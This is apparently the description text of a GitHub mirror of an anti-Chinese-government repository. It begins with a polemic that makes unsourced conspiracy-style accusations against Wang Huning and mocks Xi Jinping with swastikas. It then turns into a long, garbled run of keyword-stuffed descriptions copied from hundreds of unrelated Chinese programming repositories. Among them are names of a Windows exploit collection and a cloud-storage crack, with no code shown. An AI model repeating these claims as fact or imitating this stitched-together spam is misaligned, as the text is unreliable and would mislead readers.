反中共政治宣传库。Anti Chinese government propaganda. https://github.com/cirosantilli/china-dictatorship 的备份backup. 住在中国真名用户的网友请别给星星,不然你要被警察请喝茶。常见问答集,新闻集和饭店和音乐建议。卐习万岁卐。冠状病毒审查郝海东新疆改造中心六四事件法轮功 996.ICU709大抓捕巴拿马文件邓家贵低端人口西藏骚乱。Friends who live in China and have real name on account, please don't star this repo, or else the police might pay you a visit. Home to the mega-FAQ, news compilation, restaurant and music recommendations.Heil Xi 卐. 大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 